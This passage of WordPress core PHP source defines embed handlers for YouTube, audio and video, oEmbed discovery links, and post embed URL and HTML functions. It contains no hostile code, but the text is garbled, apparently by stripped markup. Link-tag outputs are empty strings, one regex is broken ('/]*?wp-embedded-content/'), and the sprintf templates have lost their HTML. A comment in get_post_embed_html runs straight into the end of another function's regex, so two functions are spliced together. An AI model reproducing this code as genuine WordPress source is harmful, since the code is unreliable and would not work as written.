wp_embed_register_handler( 'video', '#^https?://.+?\.(' . implode( '|', wp_get_video_extensions() ) . ')$#i', apply_filters( 'wp_video_embed_handler', 'wp_embed_handler_video' ), 9999 ); } /** * YouTube iframe embed handler callback. * * Catches YouTube iframe embed URLs that are not parsable by oEmbed but can be translated into a URL that is. * * @since 4.0.0 * * @global WP_Embed $wp_embed WordPress Embed object. * * @param array $matches The RegEx matches from the provided regex when calling * wp_embed_register_handler(). * @param array $attr Embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. * @return string The embed HTML. */ function wp_embed_handler_youtube( $matches, $attr, $url, $rawattr ) { global $wp_embed; $embed = $wp_embed->autoembed( sprintf( 'https://youtube.com/watch?v=%s', urlencode( $matches[2] ) ) ); /** * Filters the YouTube embed output. * * @since 4.0.0 * * @see wp_embed_handler_youtube() * * @param string $embed YouTube embed output. * @param array $attr An array of embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. */ return apply_filters( 'wp_embed_handler_youtube', $embed, $attr, $url, $rawattr ); } /** * Audio embed handler callback. * * @since 3.6.0 * * @param array $matches The RegEx matches from the provided regex when calling wp_embed_register_handler(). * @param array $attr Embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. * @return string The embed HTML. */ function wp_embed_handler_audio( $matches, $attr, $url, $rawattr ) { $audio = sprintf( '[audio src="%s" /]', esc_url( $url ) ); /** * Filters the audio embed output. * * @since 3.6.0 * * @param string $audio Audio embed output. * @param array $attr An array of embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. */ return apply_filters( 'wp_embed_handler_audio', $audio, $attr, $url, $rawattr ); } /** * Video embed handler callback. * * @since 3.6.0 * * @param array $matches The RegEx matches from the provided regex when calling wp_embed_register_handler(). * @param array $attr Embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. * @return string The embed HTML. */ function wp_embed_handler_video( $matches, $attr, $url, $rawattr ) { $dimensions = ''; if ( ! empty( $rawattr['width'] ) && ! empty( $rawattr['height'] ) ) { $dimensions .= sprintf( 'width="%d" ', (int) $rawattr['width'] ); $dimensions .= sprintf( 'height="%d" ', (int) $rawattr['height'] ); } $video = sprintf( '[video %s src="%s" /]', $dimensions, esc_url( $url ) ); /** * Filters the video embed output. * * @since 3.6.0 * * @param string $video Video embed output. * @param array $attr An array of embed attributes. * @param string $url The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. */ return apply_filters( 'wp_embed_handler_video', $video, $attr, $url, $rawattr ); } /** * Registers the oEmbed REST API route. * * @since 4.4.0 */ function wp_oembed_register_route() { $controller = new WP_oEmbed_Controller(); $controller->register_routes(); } /** * Adds oEmbed discovery links in the head element of the website. * * @since 4.4.0 * @since 6.8.0 Output was adjusted to only embed if the post supports it. */ function wp_oembed_add_discovery_links() { $output = ''; if ( is_singular() && is_post_embeddable() ) { $output .= '' . "\n"; if ( class_exists( 'SimpleXMLElement' ) ) { $output .= '' . "\n"; } } /** * Filters the oEmbed discovery links HTML. * * @since 4.4.0 * * @param string $output HTML of the discovery links. */ echo apply_filters( 'oembed_discovery_links', $output ); } /** * Adds the necessary JavaScript to communicate with the embedded iframes. * * This function is no longer used directly. For back-compat it exists exclusively as a way to indicate that the oEmbed * host JS _should_ be added. In `default-filters.php` there remains this code: * * add_action( 'wp_head', 'wp_oembed_add_host_js' ) * * Historically a site has been able to disable adding the oEmbed host script by doing: * * remove_action( 'wp_head', 'wp_oembed_add_host_js' ) * * In order to ensure that such code still works as expected, this function remains. There is now a `has_action()` check * in `wp_maybe_enqueue_oembed_host_js()` to see if `wp_oembed_add_host_js()` has not been unhooked from running at the * `wp_head` action. * * @since 4.4.0 * @deprecated 5.9.0 Use {@see wp_maybe_enqueue_oembed_host_js()} instead. */ function wp_oembed_add_host_js() {} /** * Enqueue the wp-embed script if the provided oEmbed HTML contains a post embed. * * In order to only enqueue the wp-embed script on pages that actually contain post embeds, this function checks if the * provided HTML contains post embed markup and if so enqueues the script so that it will get printed in the footer. * * @since 5.9.0 * * @param string $html Embed markup. * @return string Embed markup (without modifications). */ function wp_maybe_enqueue_oembed_host_js( $html ) { if ( has_action( 'wp_head', 'wp_oembed_add_host_js' ) && preg_match( '/]*?wp-embedded-content/', $html ) ) { wp_enqueue_script( 'wp-embed' ); } return $html; } /** * Retrieves the URL to embed a specific post in an iframe. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or object. Defaults to the current post. * @return string|false The post embed URL on success, false if the post doesn't exist. */ function get_post_embed_url( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $embed_url = trailingslashit( get_permalink( $post ) ) . user_trailingslashit( 'embed' ); $path_conflict = get_page_by_path( str_replace( home_url(), '', $embed_url ), OBJECT, get_post_types( array( 'public' => true ) ) ); if ( ! get_option( 'permalink_structure' ) || $path_conflict ) { $embed_url = add_query_arg( array( 'embed' => 'true' ), get_permalink( $post ) ); } /** * Filters the URL to embed a specific post. * * @since 4.4.0 * * @param string $embed_url The post embed URL. * @param WP_Post $post The corresponding post object. */ return sanitize_url( apply_filters( 'post_embed_url', $embed_url, $post ) ); } /** * Retrieves the oEmbed endpoint URL for a given permalink. * * Pass an empty string as the first argument to get the endpoint base URL. * * @since 4.4.0 * * @param string $permalink Optional. The permalink used for the `url` query arg. Default empty. * @param string $format Optional. The requested response format. Default 'json'. * @return string The oEmbed endpoint URL. */ function get_oembed_endpoint_url( $permalink = '', $format = 'json' ) { $url = rest_url( 'oembed/1.0/embed' ); if ( '' !== $permalink ) { $url = add_query_arg( array( 'url' => urlencode( $permalink ), 'format' => ( 'json' !== $format ) ? $format : false, ), $url ); } /** * Filters the oEmbed endpoint URL. * * @since 4.4.0 * * @param string $url The URL to the oEmbed endpoint. * @param string $permalink The permalink used for the `url` query arg. * @param string $format The requested response format. */ return apply_filters( 'oembed_endpoint_url', $url, $permalink, $format ); } /** * Retrieves the embed code for a specific post. * * @since 4.4.0 * * @param int $width The width for the response. * @param int $height The height for the response. * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`. * @return string|false Embed code on success, false if post doesn't exist. */ function get_post_embed_html( $width, $height, $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $embed_url = get_post_embed_url( $post ); $secret = wp_generate_password( 10, false ); $embed_url .= "#?secret={$secret}"; $output = sprintf( '
    %3$s
    ', esc_attr( $secret ), esc_url( get_permalink( $post ) ), get_the_title( $post ) ); $output .= sprintf( '', esc_url( $embed_url ), absint( $width ), absint( $height ), esc_attr( sprintf( /* translators: 1: Post title, 2: Site title. */ __( '“%1$s” — %2$s' ), get_the_title( $post ), get_bloginfo( 'name' ) ) ), esc_attr( $secret ) ); /* * Note that the script must be placed after the
    and )|ms', $html, $content ); // We require at least the iframe to exist. if ( empty( $content[2] ) ) { return false; } $html = $content[1] . $content[2]; preg_match( '/ src=([\'"])(.*?)\1/', $html, $results ); if ( ! empty( $results ) ) { $secret = wp_generate_password( 10, false ); $url = esc_url( "{$results[2]}#?secret=$secret" ); $q = $results[1]; $html = str_replace( $results[0], ' src=' . $q . $url . $q . ' data-secret=' . $q . $secret . $q, $html ); $html = str_replace( '